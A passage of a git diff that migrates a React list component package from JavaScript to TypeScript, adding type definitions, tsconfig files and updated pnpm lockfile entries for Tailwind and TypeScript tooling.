); -}); + } +); diff --git a/packages/react-list/src/components/utils.js b/packages/react-list/src/components/utils.ts similarity index 51% rename from packages/react-list/src/components/utils.js rename to packages/react-list/src/components/utils.ts index f4a7279..e9f4e33 100644 --- a/packages/react-list/src/components/utils.js +++ b/packages/react-list/src/components/utils.ts @@ -1,10 +1,11 @@ -export const deepEqual = (obj1, obj2) => { +export const deepEqual = (obj1: unknown, obj2: unknown): boolean => { if (obj1 === obj2) return true; if (obj1 == null || obj2 == null) return obj1 === obj2; - if (typeof obj1 !== "object" || typeof obj2 !== "object") + if (typeof obj1 !== "object" || typeof obj2 !== "object") { return obj1 === obj2; + } if (Array.isArray(obj1) && Array.isArray(obj2)) { if (obj1.length !== obj2.length) return false; @@ -16,22 +17,28 @@ export const deepEqual = (obj1, obj2) => { if (Array.isArray(obj1) || Array.isArray(obj2)) return false; - const keys1 = Object.keys(obj1).filter((key) => obj1[key] !== undefined); - const keys2 = Object.keys(obj2).filter((key) => obj2[key] !== undefined); + const record1 = obj1 as Record; + const record2 = obj2 as Record; + + const keys1 = Object.keys(record1).filter((key) => record1[key] !== undefined); + const keys2 = Object.keys(record2).filter((key) => record2[key] !== undefined); if (keys1.length !== keys2.length) return false; - for (let key of keys1) { + for (const key of keys1) { if (!keys2.includes(key)) return false; - if (!deepEqual(obj1[key], obj2[key])) return false; + if (!deepEqual(record1[key], record2[key])) return false; } return true; }; -export const hasActiveFilters = (currentFilters, initialFilters) => { +export const hasActiveFilters = ( + currentFilters: Record | null | undefined, + initialFilters: Record | null | undefined +): boolean => { if (!initialFilters || Object.keys(initialFilters).length === 0) { - return currentFilters && Object.keys(currentFilters).length > 0; + return !!currentFilters && Object.keys(currentFilters).length > 0; } if (!currentFilters || Object.keys(currentFilters).length === 0) { diff --git a/packages/react-list/src/context/list-provider.jsx b/packages/react-list/src/context/list-provider.jsx deleted file mode 100644 index bd4e21a..0000000 --- a/packages/react-list/src/context/list-provider.jsx +++ /dev/null @@ -1,55 +0,0 @@ -import { createContext, useContext, useMemo, useState } from "react"; - -const ListContext = createContext(null); - -export const ReactListProvider = ({ children, config }) => { - const { requestHandler, stateManager = {} } = config; - const [listState, setListState] = useState({ - data: [], - response: null, - error: null, - count: 0, - selection: [], - pagination: { - page: 1, - perPage: 25, - }, - loader: { - isLoading: false, - initialLoading: true, - }, - sort: { - sortBy: null, - sortOrder: "desc", - }, - search: "", - filters: {}, - attrs: [], - isEmpty: true, - isInitializing: true, - }); - - if (!requestHandler) { - throw new Error("ListProvider: requestHandler is required."); - } - - const value = useMemo( - () => ({ - requestHandler, - stateManager, - listState, - setListState, - }), - [requestHandler, stateManager, listState] - ); - - return {children}; -}; - -export const useListContext = () => { - const context = useContext(ListContext); - if (!context) { - throw new Error("useListContext must be used within a ListProvider"); - } - return context; -}; diff --git a/packages/react-list/src/context/list-provider.tsx b/packages/react-list/src/context/list-provider.tsx new file mode 100644 index 0000000..0182397 --- /dev/null +++ b/packages/react-list/src/context/list-provider.tsx @@ -0,0 +1,91 @@ +import { createContext, useContext, useMemo, useState } from "react"; +import type { ReactNode } from "react"; + +import type { + ReactListContextValue, + ReactListFilters, + ReactListItem, + ReactListItemId, + ReactListListState, + ReactListProviderConfig, + ReactListResponse, + ReactListRequestHandler, + ReactListStateManager, +} from "../types"; + +const ListContext = createContext(null); + +type ReactListProviderProps = { + children: ReactNode; + config: ReactListProviderConfig; +}; + +const noop = () => {}; + +export const ReactListProvider = ({ children, config }: ReactListProviderProps) => { + const { requestHandler, stateManager = {} } = config; + + if (!requestHandler) { + throw new Error("ListProvider: requestHandler is required."); + } + + const [listState, setListState] = useState>({ + data: [], + response: null as ReactListResponse | null, + error: null, + count: 0, + selection: [] as ReactListItemId[], + pagination: { + page: 1, + perPage: 25, + hasMore: false, + }, + loader: { + isLoading: false, + initialLoading: true, + }, + sort: { + sortBy: "", + sortOrder: "desc", + }, + hasActiveFilters: false, + search: "", + filters: {}, + attrs: [], + attrSettings: {}, + isEmpty: true, + + // These actions are replaced by `ReactList` once it mounts. + setPage: noop, + setPerPage: noop, + setSearch: noop, + setSort: noop, + loadMore: noop, + clearFilters: noop, + refresh: noop, + setFilters: noop, + updateAttr: noop, + updateItemById: noop, + setSelection: noop, + }); + + const value: ReactListContextValue = useMemo( + () => ({ + requestHandler: requestHandler as ReactListRequestHandler, + stateManager: stateManager as ReactListStateManager, + listState, + setListState, + }), + [requestHandler, stateManager, listState] + ); + + return {children}; +}; + +export const useListContext = (): ReactListContextValue => { + const context = useContext(ListContext); + if (!context) { + throw new Error("useListContext must be used within a ListProvider"); + } + return context; +}; diff --git a/packages/react-list/src/index.js b/packages/react-list/src/index.ts similarity index 64% rename from packages/react-list/src/index.js rename to packages/react-list/src/index.ts index d132e3f..65eca60 100644 --- a/packages/react-list/src/index.js +++ b/packages/react-list/src/index.ts @@ -13,3 +13,25 @@ export { ReactListRefresh } from "./components/refresh"; export { ReactListSearch } from "./components/search"; export { ReactListSummary } from "./components/summary"; export { ReactListProvider } from "./context/list-provider"; + +export type { + ReactListAttrSettings, + ReactListContext, + ReactListContextValue, + ReactListFilters, + ReactListAttribute, + ReactListProps, + ReactListPaginationMode, + ReactListItem, + ReactListItemId, + ReactListListState, + ReactListLoaderState, + ReactListPaginationState, + ReactListProviderConfig, + ReactListRequestArgs, + ReactListRequestHandler, + ReactListResponse, + ReactListSort, + ReactListSortOrder, + ReactListStateManager, +} from "./types"; diff --git a/packages/react-list/src/types/index.ts b/packages/react-list/src/types/index.ts new file mode 100644 index 0000000..d27aaf5 --- /dev/null +++ b/packages/react-list/src/types/index.ts @@ -0,0 +1,22 @@ +export type { + ReactListAttrSettings, + ReactListContext, + ReactListContextValue, + ReactListItem, + ReactListItemId, + ReactListListState, + ReactListLoaderState, + ReactListPaginationState, + ReactListProviderConfig, + ReactListRequestArgs, + ReactListRequestHandler, + ReactListResponse, + ReactListSort, + ReactListSortOrder, + ReactListStateManager, + ReactListFilters, + ReactListAttribute, +} from './list-provider.ts'; + +export type { ReactListProps, ReactListPaginationMode } from './react-list'; + diff --git a/packages/react-list/src/types/list-provider.ts b/packages/react-list/src/types/list-provider.ts new file mode 100644 index 0000000..795ddbd --- /dev/null +++ b/packages/react-list/src/types/list-provider.ts @@ -0,0 +1,156 @@ +import type * as React from 'react'; + +export type ReactListItemId = string | number; + +export type ReactListItem = Record & { + id?: ReactListItemId; +}; + +export type ReactListFilters = Record; + +export type ReactListSortOrder = '' | 'asc' | 'desc' | (string & {}); + +export type ReactListAttrSettings = Record< + string, + { + visible: boolean; + } +>; + +export type ReactListRequestArgs< + TFilters extends ReactListFilters = ReactListFilters, +> = { + endpoint: string; + version: number; + meta: Record; + page: number; + perPage: number; + search: string; + sortBy: string; + sortOrder: ReactListSortOrder; + filters: TFilters; +} & Record; + +export type ReactListResponse = { + items: TItem[]; + count: number; + meta?: unknown; + [key: string]: unknown; +}; + +export type ReactListRequestHandler< + TItem = ReactListItem, + TFilters extends ReactListFilters = ReactListFilters, +> = (args: ReactListRequestArgs) => Promise>; + +export type ReactListPersistedState< + TFilters extends ReactListFilters = ReactListFilters, +> = { + page?: number; + perPage?: number; + sortBy?: string; + sortOrder?: ReactListSortOrder; + search?: string; + attrSettings?: ReactListAttrSettings; + filters?: TFilters; +}; + +export type ReactListContext = { + endpoint: string; + version: number; + meta: Record; + search: string; + page: number; + perPage: number; + sortBy: string; + sortOrder: ReactListSortOrder; + filters: TFilters; + attrSettings: ReactListAttrSettings; + isRefresh: boolean; +}; + +export type ReactListStateManager< + TFilters extends ReactListFilters = ReactListFilters, +> = { + init?: (context: ReactListContext) => void; + get?: (context: ReactListContext) => ReactListPersistedState | null; + set?: (context: ReactListContext) => void; +}; + +export type ReactListProviderConfig< + TItem = ReactListItem, + TFilters extends ReactListFilters = ReactListFilters, +> = { + requestHandler: ReactListRequestHandler; + stateManager?: ReactListStateManager; +}; + +export type ReactListPaginationState = { + page: number; + perPage: number; + hasMore: boolean; +}; + +export type ReactListLoaderState = { + isLoading: boolean; + initialLoading: boolean; +}; + +export type ReactListSort = { + sortBy: string; + sortOrder: ReactListSortOrder; +}; + +export type ReactListAttribute = { + name: string; + label?: string; +}; + +export type ReactListActions< + TItem = ReactListItem, + TFilters extends ReactListFilters = ReactListFilters, +> = { + setPage: (value: number, addContext?: Record) => void; + setPerPage: (value: number) => void; + setSearch: (value: string) => void; + setSort: (args: { by: string; order: ReactListSortOrder }) => void; + loadMore: () => void; + clearFilters: () => void; + refresh: (addContext?: Record) => void; + setFilters: (filters: TFilters) => void; + updateAttr: (attrName: string, settingKey: string, value: unknown) => void; + updateItemById: (item: Partial, id: ReactListItemId) => void; + setSelection: (selection: ReactListItemId[]) => void; +}; + +export type ReactListListState< + TItem = ReactListItem, + TFilters extends ReactListFilters = ReactListFilters, +> = { + data: TItem[]; + response: ReactListResponse | null; + error: Error | null; + count: number; + selection: ReactListItemId[]; + pagination: ReactListPaginationState; + loader: ReactListLoaderState; + sort: ReactListSort; + hasActiveFilters: boolean; + search: string; + filters: TFilters; + attrs: ReactListAttribute[]; + attrSettings: ReactListAttrSettings; + isEmpty: boolean; + // Actions are appended by the main `ReactList` component. +} & ReactListActions; + +export type ReactListContextValue< + TItem = ReactListItem, + TFilters extends ReactListFilters = ReactListFilters, +> = { + requestHandler: ReactListRequestHandler; + stateManager: ReactListStateManager; + listState: ReactListListState; + setListState: React.Dispatch>>; +}; + diff --git a/packages/react-list/src/types/react-list.ts b/packages/react-list/src/types/react-list.ts new file mode 100644 index 0000000..4ec6d6c --- /dev/null +++ b/packages/react-list/src/types/react-list.ts @@ -0,0 +1,39 @@ +import type { ReactNode } from 'react'; + +import type { + ReactListAttribute, + ReactListFilters, + ReactListItem, + ReactListListState, + ReactListResponse, + ReactListSortOrder, +} from './list-provider'; + +export type ReactListPaginationMode = 'pagination' | 'loadMore'; + +export type ReactListProps< + TItem = ReactListItem, + TFilters extends ReactListFilters = ReactListFilters, +> = { + initialItems?: TItem[]; + children?: + | ReactNode + | ((scope: ReactListListState) => ReactNode); + + endpoint: string; + page?: number; + perPage?: number; + sortBy?: string; + sortOrder?: ReactListSortOrder; + count?: number; + search?: string; + filters?: TFilters; + attrs?: Array; + version?: number; + paginationMode?: ReactListPaginationMode; + meta?: Record; + onResponse?: (res: ReactListResponse) => void; + afterPageChange?: (res: ReactListResponse) => void; + afterLoadMore?: (res: ReactListResponse) => void; +}; + diff --git a/packages/react-list/src/utils.js b/packages/react-list/src/utils.ts similarity index 100% rename from packages/react-list/src/utils.js rename to packages/react-list/src/utils.ts diff --git a/packages/react-list/tsconfig.build.json b/packages/react-list/tsconfig.build.json new file mode 100644 index 0000000..b96c8ea --- /dev/null +++ b/packages/react-list/tsconfig.build.json @@ -0,0 +1,18 @@ +{ + "compilerOptions": { + "target": "ES2022", + "module": "ESNext", + "moduleResolution": "Bundler", + "jsx": "react-jsx", + "allowJs": true, + "checkJs": false, + "declaration": true, + "emitDeclarationOnly": true, + "declarationMap": true, + "outDir": "dist/types", + "strict": false, + "skipLibCheck": true + }, + "include": ["src/**/*"], + "exclude": ["dist", "node_modules"] +} diff --git a/packages/react-list/tsconfig.json b/packages/react-list/tsconfig.json new file mode 100644 index 0000000..5c29504 --- /dev/null +++ b/packages/react-list/tsconfig.json @@ -0,0 +1,6 @@ +{ + "extends": "./tsconfig.build.json", + "compilerOptions": { + "noEmit": true + } +} diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 0ee8495..a620d7b 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -12,7 +12,7 @@ importers: devDependencies: vitepress: specifier: ^2.0.0-alpha.15 - version: 2.0.0-alpha.15(axios@1.11.0)(postcss@8.5.6) + version: 2.0.0-alpha.15(axios@1.11.0)(jiti@2.6.1)(lightningcss@1.32.0)(postcss@8.5.8)(typescript@5.9.3) apps/playground: dependencies: @@ -35,6 +35,9 @@ importers: '@eslint/js': specifier: ^9.22.0 version: 9.25.1 + '@tailwindcss/postcss': + specifier: ^4.2.2 + version: 4.2.2 '@types/react': specifier: ^19.0.10 version: 19.1.2 @@ -43,22 +46,74 @@ importers: version: 19.1.2(@types/react@19.1.2) '@vitejs/plugin-react': specifier: ^4.3.4 - version: 4.4.1(vite@6.3.3) + version: 4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0)) + autoprefixer: + specifier: ^10.4.27 + version: 10.4.27(postcss@8.5.8) eslint: specifier: ^9.22.0 - version: 9.25.1 + version: 9.25.1(jiti@2.6.1) eslint-plugin-react-hooks: specifier: ^5.2.0 - version: 5.2.0(eslint@9.25.1) + version: 5.2.0(eslint@9.25.1(jiti@2.6.1)) eslint-plugin-react-refresh: specifier: ^0.4.19 - version: 0.4.20(eslint@9.25.1) + version: 0.4.20(eslint@9.25.1(jiti@2.6.1)) globals: specifier: ^16.0.0 version: 16.0.0 + postcss: + specifier: ^8.5.8 + version: 8.5.8 + tailwindcss: + specifier: ^4.2.2 + version: 4.2.2 vite: specifier: ^6.3.1 - version: 6.3.3 + version: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) + + apps/playground-typescript: + dependencies: + '@7span/react-list': + specifier: workspace:* + version: link:../../packages/react-list + '@iconify/react': + specifier: ^5.2.1 + version: 5.2.1(react@19.1.0) + react: + specifier: ^19.0.0 + version: 19.1.0 + react-dom: + specifier: ^19.0.0 + version: 19.1.0(react@19.1.0) + devDependencies: + '@tailwindcss/postcss': + specifier: ^4.2.2 + version: 4.2.2 + '@types/react': + specifier: ^19.0.10 + version: 19.2.14 + '@types/react-dom': + specifier: ^19.0.4 + version: 19.2.3(@types/react@19.2.14) + '@vitejs/plugin-react': + specifier: ^4.3.4 + version: 4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0)) + autoprefixer: + specifier: ^10.4.27 + version: 10.4.27(postcss@8.5.8) + postcss: + specifier: ^8.5.8 + version: 8.5.8 + tailwindcss: + specifier: ^4.2.2 + version: 4.2.2 + typescript: + specifier: ^5.9.3 + version: 5.9.3 + vite: + specifier: ^6.3.1 + version: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) packages/react-list: dependencies: @@ -69,15 +124,28 @@ importers: specifier: ^18.2.0 || ^19.0.0 version: 19.1.0(react@19.1.0) devDependencies: + '@types/react': + specifier: ^19.1.13 + version: 19.2.14 + '@types/react-dom': + specifier: ^19.1.9 + version: 19.2.3(@types/react@19.2.14) '@vitejs/plugin-react': specifier: ^4.3.4 - version: 4.4.1(vite@6.3.3) + version: 4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0)) + typescript: + specifier: ^5.9.3 + version: 5.9.3 vite: specifier: ^6.3.1 - version: 6.3.3 + version: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) packages: + '@alloc/quick-lru@5.2.0': + resolution: {integrity: sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==} + engines: {node: '>=10'} + '@ampproject/remapping@2.3.0': resolution: {integrity: sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==} engines: {node: '>=6.0.0'} @@ -407,6 +475,9 @@ packages: resolution: {integrity: sha512-imAbBGkb+ebQyxKgzv5Hu2nmROxoDOXHh80evxdoXNOrvAnVx7zimzc1Oo5h9RlfV4vPXaE2iM5pOFbvOCClWA==} engines: {node: '>=6.0.0'} + '@jridgewell/remapping@2.3.5': + resolution: {integrity: sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==} + '@jridgewell/resolve-uri@3.1.2': resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} engines: {node: '>=6.0.0'} @@ -415,9 +486,6 @@ packages: resolution: {integrity: sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==} engines: {node: '>=6.0.0'} - '@jridgewell/sourcemap-codec@1.5.0': - resolution: {integrity: sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==} - '@jridgewell/sourcemap-codec@1.5.5': resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==} @@ -661,6 +729,94 @@ packages: '@shikijs/vscode-textmate@10.0.2': resolution: {integrity: sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg==} + '@tailwindcss/node@4.2.2': + resolution: {integrity: sha512-pXS+wJ2gZpVXqFaUEjojq7jzMpTGf8rU6ipJz5ovJV6PUGmlJ+jvIwGrzdHdQ80Sg+wmQxUFuoW1UAAwHNEdFA==} + + '@tailwindcss/oxide-android-arm64@4.2.2': + resolution: {integrity: sha512-dXGR1n+P3B6748jZO/SvHZq7qBOqqzQ+yFrXpoOWWALWndF9MoSKAT3Q0fYgAzYzGhxNYOoysRvYlpixRBBoDg==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [android] + + '@tailwindcss/oxide-darwin-arm64@4.2.2': + resolution: {integrity: sha512-iq9Qjr6knfMpZHj55/37ouZeykwbDqF21gPFtfnhCCKGDcPI/21FKC9XdMO/XyBM7qKORx6UIhGgg6jLl7BZlg==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [darwin] + + '@tailwindcss/oxide-darwin-x64@4.2.2': + resolution: {integrity: sha512-BlR+2c3nzc8f2G639LpL89YY4bdcIdUmiOOkv2GQv4/4M0vJlpXEa0JXNHhCHU7VWOKWT/CjqHdTP8aUuDJkuw==} + engines: {node: '>= 20'} + cpu: [x64] + os: [darwin] + + '@tailwindcss/oxide-freebsd-x64@4.2.2': + resolution: {integrity: sha512-YUqUgrGMSu2CDO82hzlQ5qSb5xmx3RUrke/QgnoEx7KvmRJHQuZHZmZTLSuuHwFf0DJPybFMXMYf+WJdxHy/nQ==} + engines: {node: '>= 20'} + cpu: [x64] + os: [freebsd] + + '@tailwindcss/oxide-linux-arm-gnueabihf@4.2.2': + resolution: {integrity: sha512-FPdhvsW6g06T9BWT0qTwiVZYE2WIFo2dY5aCSpjG/S/u1tby+wXoslXS0kl3/KXnULlLr1E3NPRRw0g7t2kgaQ==} + engines: {node: '>= 20'} + cpu: [arm] + os: [linux] + + '@tailwindcss/oxide-linux-arm64-gnu@4.2.2': + resolution: {integrity: sha512-4og1V+ftEPXGttOO7eCmW7VICmzzJWgMx+QXAJRAhjrSjumCwWqMfkDrNu1LXEQzNAwz28NCUpucgQPrR4S2yw==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [linux] + + '@tailwindcss/oxide-linux-arm64-musl@4.2.2': + resolution: {integrity: sha512-oCfG/mS+/+XRlwNjnsNLVwnMWYH7tn/kYPsNPh+JSOMlnt93mYNCKHYzylRhI51X+TbR+ufNhhKKzm6QkqX8ag==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [linux] + + '@tailwindcss/oxide-linux-x64-gnu@4.2.2': + resolution: {integrity: sha512-rTAGAkDgqbXHNp/xW0iugLVmX62wOp2PoE39BTCGKjv3Iocf6AFbRP/wZT/kuCxC9QBh9Pu8XPkv/zCZB2mcMg==} + engines: {node: '>= 20'} + cpu: [x64] + os: [linux] + + '@tailwindcss/oxide-linux-x64-musl@4.2.2': + resolution: {integrity: sha512-XW3t3qwbIwiSyRCggeO2zxe3KWaEbM0/kW9e8+0XpBgyKU4ATYzcVSMKteZJ1iukJ3HgHBjbg9P5YPRCVUxlnQ==} + engines: {node: '>= 20'} + cpu: [x64] + os: [linux] + + '@tailwindcss/oxide-wasm32-wasi@4.2.2': + resolution: {integrity: sha512-eKSztKsmEsn1O5lJ4ZAfyn41NfG7vzCg496YiGtMDV86jz1q/irhms5O0VrY6ZwTUkFy/EKG3RfWgxSI3VbZ8Q==} + engines: {node: '>=14.0.0'} + cpu: [wasm32] + bundledDependencies: + - '@napi-rs/wasm-runtime' + - '@emnapi/core' + - '@emnapi/runtime' + - '@tybys/wasm-util' + - '@emnapi/wasi-threads' + - tslib + + '@tailwindcss/oxide-win32-arm64-msvc@4.2.2': + resolution: {integrity: sha512-qPmaQM4iKu5mxpsrWZMOZRgZv1tOZpUm+zdhhQP0VhJfyGGO3aUKdbh3gDZc/dPLQwW4eSqWGrrcWNBZWUWaXQ==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [win32] + + '@tailwindcss/oxide-win32-x64-msvc@4.2.2': + resolution: {integrity: sha512-1T/37VvI7WyH66b+vqHj/cLwnCxt7Qt3WFu5Q8hk65aOvlwAhs7rAp1VkulBJw/N4tMirXjVnylTR72uI0HGcA==} + engines: {node: '>= 20'} + cpu: [x64] + os: [win32] + + '@tailwindcss/oxide@4.2.2': + resolution: {integrity: sha512-qEUA07+E5kehxYp9BVMpq9E8vnJuBHfJEC0vPC5e7iL/hw7HR61aDKoVoKzrG+QKp56vhNZe4qwkRmMC0zDLvg==} + engines: {node: '>= 20'} + + '@tailwindcss/postcss@4.2.2': + resolution: {integrity: sha512-n4goKQbW8RVXIbNKRB/45LzyUqN451deQK0nzIeauVEqjlI49slUlgKYJM2QyUzap/PcpnS7kzSUmPb1sCRvYQ==} + '@types/babel__core@7.20.5': resolution: {integrity: sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==} @@ -702,9 +858,17 @@ packages: peerDependencies: '@types/react': ^19.0.0 + '@types/react-dom@19.2.3': + resolution: {integrity: sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==} + peerDependencies: + '@types/react': ^19.2.0 + '@types/react@19.1.2': resolution: {integrity: sha512-oxLPMytKchWGbnQM9O7D67uPa9paTNxO7jVoNMXgkkErULBPhPARCfkKL9ytcIJJRGjbsVwW4ugJzyFFvm/Tiw==} + '@types/react@19.2.14': + resolution: {integrity: sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w==} + '@types/unist@3.0.3': resolution: {integrity: sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==} @@ -843,12 +1007,24 @@ packages: asynckit@0.4.0: resolution: {integrity: sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==} + autoprefixer@10.4.27: + resolution: {integrity: sha512-NP9APE+tO+LuJGn7/9+cohklunJsXWiaWEfV3si4Gi/XHDwVNgkwr1J3RQYFIvPy76GmJ9/bW8vyoU1LcxwKHA==} + engines: {node: ^10 || ^12 || >=14} + hasBin: true + peerDependencies: + postcss: ^8.1.0 + axios@1.11.0: resolution: {integrity: sha512-1Lx3WLFQWm3ooKDYZD1eXmoGO9fxYQjrycfHFC8P0sCfQVXyROp0p9PFWBehewBOdCwHc+f/b8I0fMto5eSfwA==} balanced-match@1.0.2: resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} + baseline-browser-mapping@2.10.9: + resolution: {integrity: sha512-OZd0e2mU11ClX8+IdXe3r0dbqMEznRiT4TfbhYIbcRPZkqJ7Qwer8ij3GZAmLsRKa+II9V1v5czCkvmHH3XZBg==} + engines: {node: '>=6.0.0'} + hasBin: true + birpc@2.9.0: resolution: {integrity: sha512-KrayHS5pBi69Xi9JmvoqrIgYGDkD6mcSe/i6YKi3w5kekCLzrX4+nawcXqrj2tIp50Kw/mT/s3p+GVK0A0sKxw==} @@ -860,6 +1036,11 @@ packages: engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} hasBin: true + browserslist@4.28.1: + resolution: {integrity: sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==} + engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} + hasBin: true + call-bind-apply-helpers@1.0.2: resolution: {integrity: sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==} engines: {node: '>= 0.4'} @@ -868,8 +1049,8 @@ packages: resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} engines: {node: '>=6'} - caniuse-lite@1.0.30001715: - resolution: {integrity: sha512-7ptkFGMm2OAOgvZpwgA4yjQ5SQbrNVGdRjzH0pBdy1Fasvcr+KAeECmbCAECzTuDuoX0FCY8KzUxjf9+9kfZEw==} + caniuse-lite@1.0.30001780: + resolution: {integrity: sha512-llngX0E7nQci5BPJDqoZSbuZ5Bcs9F5db7EtgfwBerX9XGtkkiO4NwfDDIRzHTTwcYC8vC7bmeUEPGrKlR/TkQ==} ccount@2.0.1: resolution: {integrity: sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==} @@ -915,6 +1096,9 @@ packages: csstype@3.1.3: resolution: {integrity: sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==} + csstype@3.2.3: + resolution: {integrity: sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==} + debug@4.4.0: resolution: {integrity: sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==} engines: {node: '>=6.0'} @@ -935,6 +1119,10 @@ packages: resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==} engines: {node: '>=6'} + detect-libc@2.1.2: + resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==} + engines: {node: '>=8'} + devlop@1.1.0: resolution: {integrity: sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==} @@ -945,6 +1133,13 @@ packages: electron-to-chromium@1.5.141: resolution: {integrity: sha512-qS+qH9oqVYc1ooubTiB9l904WVyM6qNYxtOEEGReoZXw3xlqeYdFr5GclNzbkAufWgwWLEPoDi3d9MoRwwIjGw==} + electron-to-chromium@1.5.321: + resolution: {integrity: sha512-L2C7Q279W2D/J4PLZLk7sebOILDSWos7bMsMNN06rK482umHUrh/3lM8G7IlHFOYip2oAg5nha1rCMxr/rs6ZQ==} + + enhanced-resolve@5.20.1: + resolution: {integrity: sha512-Qohcme7V1inbAfvjItgw0EaxVX5q2rdVEZHRBrEQdRZTssLDGsL8Lwrznl8oQ/6kuTJONLaDcGjkNP247XEhcA==} + engines: {node: '>=10.13.0'} + entities@4.5.0: resolution: {integrity: sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==} engines: {node: '>=0.12'} @@ -1091,6 +1286,9 @@ packages: resolution: {integrity: sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==} engines: {node: '>= 6'} + fraction.js@5.3.4: + resolution: {integrity: sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==} + fsevents@2.3.3: resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} @@ -1131,6 +1329,9 @@ packages: resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==} engines: {node: '>= 0.4'} + graceful-fs@4.2.11: + resolution: {integrity: 